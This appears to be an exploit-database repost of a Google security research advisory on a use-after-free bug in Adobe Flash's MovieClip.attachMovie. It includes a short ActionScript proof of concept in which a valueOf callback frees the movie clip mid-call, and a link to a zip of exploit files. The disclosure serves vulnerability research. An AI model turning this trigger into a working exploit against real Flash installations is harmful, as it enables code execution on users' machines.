Adobe Flash MovieClip.attachMovie - Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=571
 
There is a use-after-free in MovieClip.attachMovie. If a string parameter has toString defined, a number parameter has valueOf defined or an object parameter has its constructor redefined, it can execute code and free the this object of the method, leading to a use-after-free.
 
A minimal PoC is as follows:
 
n ={valueOf : func};
 
function func(){
     
    _global.mc.removeMovieClip();
        // fix heap here;
     
   }
this.createEmptyMovieClip("mc", 1);
_global.mc = mc;
mc.attachMovie("myResetButton","newResetButton", n);
 
A sample swf and fla are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39055.zip

#  0day.today [2018-03-03]  #